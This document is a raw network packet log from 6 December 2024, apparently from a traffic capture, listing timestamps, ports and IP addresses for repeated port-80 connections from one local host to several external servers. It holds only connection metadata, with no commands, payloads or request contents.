Dec 6, 2024 17:36:22.066431999 CET	49717	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:22.082973957 CET	49717	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:22.203465939 CET	80	49717	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:23.170094967 CET	80	49717	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:23.170438051 CET	80	49717	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:23.170512915 CET	49717	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:23.598789930 CET	49717	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:24.617774963 CET	49718	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:24.738590002 CET	80	49718	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:24.738729000 CET	49718	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:24.754694939 CET	49718	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:24.874525070 CET	80	49718	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:25.845731020 CET	80	49718	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:25.845947981 CET	80	49718	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:25.846029997 CET	49718	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:26.271442890 CET	49718	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:27.289206982 CET	49719	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:27.409149885 CET	80	49719	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:27.409282923 CET	49719	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:27.424245119 CET	49719	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:27.544271946 CET	80	49719	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:27.544286966 CET	80	49719	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:28.509149075 CET	80	49719	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:28.509166956 CET	80	49719	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:28.509255886 CET	49719	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:28.926934958 CET	49719	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:29.945970058 CET	49720	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:30.066020012 CET	80	49720	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:30.066119909 CET	49720	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:30.076904058 CET	49720	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:30.197007895 CET	80	49720	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:31.168250084 CET	80	49720	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:31.168363094 CET	80	49720	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:31.168423891 CET	49720	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:31.171366930 CET	49720	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:31.291049957 CET	80	49720	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:36.704046965 CET	49721	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:36.824460030 CET	80	49721	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:36.824618101 CET	49721	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:36.840020895 CET	49721	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:36.959868908 CET	80	49721	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:37.927352905 CET	80	49721	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:37.927438974 CET	49721	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:38.348984003 CET	49721	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:38.468983889 CET	80	49721	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:39.368755102 CET	49722	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:39.975318909 CET	80	49722	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:39.975394011 CET	49722	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:39.990334988 CET	49722	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:40.110306025 CET	80	49722	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:41.074378967 CET	80	49722	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:41.074454069 CET	49722	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:41.505093098 CET	49722	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:41.625252962 CET	80	49722	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:42.524367094 CET	49723	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:42.644320011 CET	80	49723	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:42.644591093 CET	49723	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:42.660023928 CET	49723	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:42.780117035 CET	80	49723	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:42.780159950 CET	80	49723	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:43.742752075 CET	80	49723	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:43.742872953 CET	49723	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:44.161521912 CET	49723	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:44.281409979 CET	80	49723	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:45.180973053 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:45.301024914 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:45.301948071 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:45.312066078 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:45.432061911 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399652958 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399677038 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399691105 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399732113 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399786949 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399799109 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399811983 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.399947882 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:46.400084019 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.400090933 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:46.400095940 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.400110960 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:46.400177002 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:46.404975891 CET	49724	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:46.524832964 CET	80	49724	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:51.722048044 CET	49725	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:51.842685938 CET	80	49725	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:51.846537113 CET	49725	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:51.862488985 CET	49725	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:51.982508898 CET	80	49725	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:52.946383953 CET	80	49725	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:52.946444988 CET	49725	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:53.364407063 CET	49725	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:53.484344006 CET	80	49725	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:54.383452892 CET	49726	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:54.503344059 CET	80	49726	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:54.503432989 CET	49726	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:54.524584055 CET	49726	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:54.644839048 CET	80	49726	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:55.615740061 CET	80	49726	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:55.615859985 CET	49726	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:56.036398888 CET	49726	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:56.157113075 CET	80	49726	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:57.056530952 CET	49728	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:57.176884890 CET	80	49728	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:57.176989079 CET	49728	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:57.195537090 CET	49728	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:57.315684080 CET	80	49728	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:57.315731049 CET	80	49728	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:58.282422066 CET	80	49728	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:58.286504984 CET	49728	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:58.708317995 CET	49728	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:58.828217983 CET	80	49728	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:59.730412960 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:59.851919889 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:36:59.854559898 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:59.864487886 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:36:59.984523058 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952725887 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952761889 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952775002 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952843904 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952863932 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952883959 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952886105 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:00.952896118 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952917099 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:00.952936888 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:00.952981949 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.952994108 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.953006029 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:00.953011036 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:00.953052044 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:00.957626104 CET	49734	80	192.168.2.12	84.32.84.32
Dec 6, 2024 17:37:01.077645063 CET	80	49734	84.32.84.32	192.168.2.12
Dec 6, 2024 17:37:06.757599115 CET	49750	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:06.877474070 CET	80	49750	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:06.877567053 CET	49750	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:06.896686077 CET	49750	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:07.016499996 CET	80	49750	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:08.102135897 CET	80	49750	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:08.102215052 CET	80	49750	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:08.102345943 CET	49750	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:08.411303997 CET	49750	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:09.431288958 CET	49756	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:09.551214933 CET	80	49756	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:09.551981926 CET	49756	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:09.570456982 CET	49756	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:09.690413952 CET	80	49756	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:10.795449018 CET	80	49756	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:10.857460022 CET	80	49756	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:10.857515097 CET	49756	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:11.083372116 CET	49756	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:12.102260113 CET	49767	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:12.223153114 CET	80	49767	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:12.226552010 CET	49767	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:12.246458054 CET	49767	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:12.366875887 CET	80	49767	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:12.366906881 CET	80	49767	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:13.493470907 CET	80	49767	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:13.493568897 CET	80	49767	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:13.493688107 CET	49767	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:13.755067110 CET	49767	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:14.777179003 CET	49772	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:14.897243023 CET	80	49772	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:14.897384882 CET	49772	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:14.911601067 CET	49772	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:15.031780958 CET	80	49772	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:16.122333050 CET	80	49772	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:16.122354031 CET	80	49772	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:16.122569084 CET	49772	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:16.158673048 CET	49772	80	192.168.2.12	209.74.77.107
Dec 6, 2024 17:37:16.282896042 CET	80	49772	209.74.77.107	192.168.2.12
Dec 6, 2024 17:37:21.688560963 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:21.808731079 CET	80	49789	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:21.808911085 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:21.828545094 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:21.948658943 CET	80	49789	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:23.333261013 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:23.345650911 CET	80	49789	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:23.345709085 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:23.345716000 CET	80	49789	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:23.345760107 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:23.453212976 CET	80	49789	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:23.453272104 CET	49789	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:24.354476929 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:24.474229097 CET	80	49794	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:24.474356890 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:24.490030050 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:24.612837076 CET	80	49794	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:26.005117893 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:26.010193110 CET	80	49794	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:26.010226965 CET	80	49794	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:26.010310888 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:26.010310888 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:26.125116110 CET	80	49794	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:26.125360012 CET	49794	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:27.025895119 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:27.146043062 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:27.146152020 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:27.162319899 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:27.282337904 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:27.282351971 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:28.676989079 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:28.696182013 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:28.696232080 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:28.696443081 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:28.696482897 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:28.797300100 CET	80	49800	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:28.797372103 CET	49800	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:29.698501110 CET	49809	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:29.818655968 CET	80	49809	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:29.818757057 CET	49809	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:29.829133987 CET	49809	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:29.950495005 CET	80	49809	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:31.396498919 CET	80	49809	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:31.396567106 CET	80	49809	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:31.396749020 CET	49809	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:31.405069113 CET	49809	80	192.168.2.12	38.47.207.164
Dec 6, 2024 17:37:31.524960995 CET	80	49809	38.47.207.164	192.168.2.12
Dec 6, 2024 17:37:37.445775032 CET	49827	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:37.565692902 CET	80	49827	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:37.570517063 CET	49827	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:37.583045006 CET	49827	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:37.702857971 CET	80	49827	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:38.720045090 CET	80	49827	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:38.720283031 CET	80	49827	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:38.720331907 CET	49827	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:39.098893881 CET	49827	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:40.120718956 CET	49833	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:40.240761042 CET	80	49833	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:40.240916014 CET	49833	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:40.258650064 CET	49833	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:40.383773088 CET	80	49833	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:41.387670040 CET	80	49833	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:41.387698889 CET	80	49833	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:41.387773991 CET	49833	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:41.771814108 CET	49833	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:42.791459084 CET	49843	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:42.911418915 CET	80	49843	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:42.911509037 CET	49843	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:42.931548119 CET	49843	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:43.051685095 CET	80	49843	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:43.051747084 CET	80	49843	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:44.065747976 CET	80	49843	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:44.066118956 CET	80	49843	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:44.066272974 CET	49843	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:44.442737103 CET	49843	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:45.472079039 CET	49849	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:45.591990948 CET	80	49849	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:45.596596956 CET	49849	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:45.604543924 CET	49849	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:45.724373102 CET	80	49849	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:46.782130003 CET	80	49849	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:46.782362938 CET	80	49849	208.115.225.220	192.168.2.12
Dec 6, 2024 17:37:46.782407999 CET	49849	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:46.785820961 CET	49849	80	192.168.2.12	208.115.225.220
Dec 6, 2024 17:37:46.905585051 CET	80	49849	208.115.225.220	192.168.2.12
Dec 6, 2024 17:38:00.995675087 CET	49886	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:01.115773916 CET	80	49886	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:01.115905046 CET	49886	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:01.163803101 CET	49886	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:01.283626080 CET	80	49886	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:02.677033901 CET	49886	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:02.797312021 CET	80	49886	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:02.797363043 CET	49886	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:03.698577881 CET	49892	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:03.818363905 CET	80	49892	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:03.819113016 CET	49892	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:03.833421946 CET	49892	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:03.953969955 CET	80	49892	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:05.348890066 CET	49892	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:05.474625111 CET	80	49892	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:05.474678040 CET	49892	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:06.367798090 CET	49898	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:06.489490986 CET	80	49898	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:06.492808104 CET	49898	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:06.510576010 CET	49898	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:06.630774021 CET	80	49898	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:06.630887032 CET	80	49898	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:08.020986080 CET	49898	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:08.141393900 CET	80	49898	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:08.141530991 CET	49898	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:09.040638924 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:09.160520077 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:09.160644054 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:09.171531916 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:09.292165041 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.821933985 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.821950912 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.821973085 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.821984053 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.822163105 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.822339058 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.852727890 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.852749109 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.852761030 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.852910995 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.852924109 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.852937937 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.854649067 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.885850906 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.886045933 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.942487001 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.942528963 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:11.942709923 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:11.950690031 CET	49908	80	192.168.2.12	172.67.162.39
Dec 6, 2024 17:38:12.071609020 CET	80	49908	172.67.162.39	192.168.2.12
Dec 6, 2024 17:38:17.706614017 CET	49929	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:17.826637983 CET	80	49929	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:17.826817036 CET	49929	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:17.844314098 CET	49929	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:17.964191914 CET	80	49929	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:18.925440073 CET	80	49929	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:18.925489902 CET	80	49929	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:18.925503969 CET	80	49929	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:18.925602913 CET	49929	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:19.349114895 CET	49929	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:20.368021965 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:20.487875938 CET	80	49935	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:20.488034964 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:20.509768009 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:20.629483938 CET	80	49935	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:21.596107960 CET	80	49935	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:21.596133947 CET	80	49935	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:21.596177101 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:21.596621990 CET	80	49935	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:21.596663952 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:22.021079063 CET	49935	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:23.041205883 CET	49941	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:23.161185980 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:23.161288977 CET	49941	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:23.180535078 CET	49941	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:23.300307035 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:23.300426006 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:24.271527052 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:24.271774054 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:24.271787882 CET	80	49941	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:24.271864891 CET	49941	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:24.271864891 CET	49941	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:24.692662954 CET	49941	80	192.168.2.12	199.59.243.227
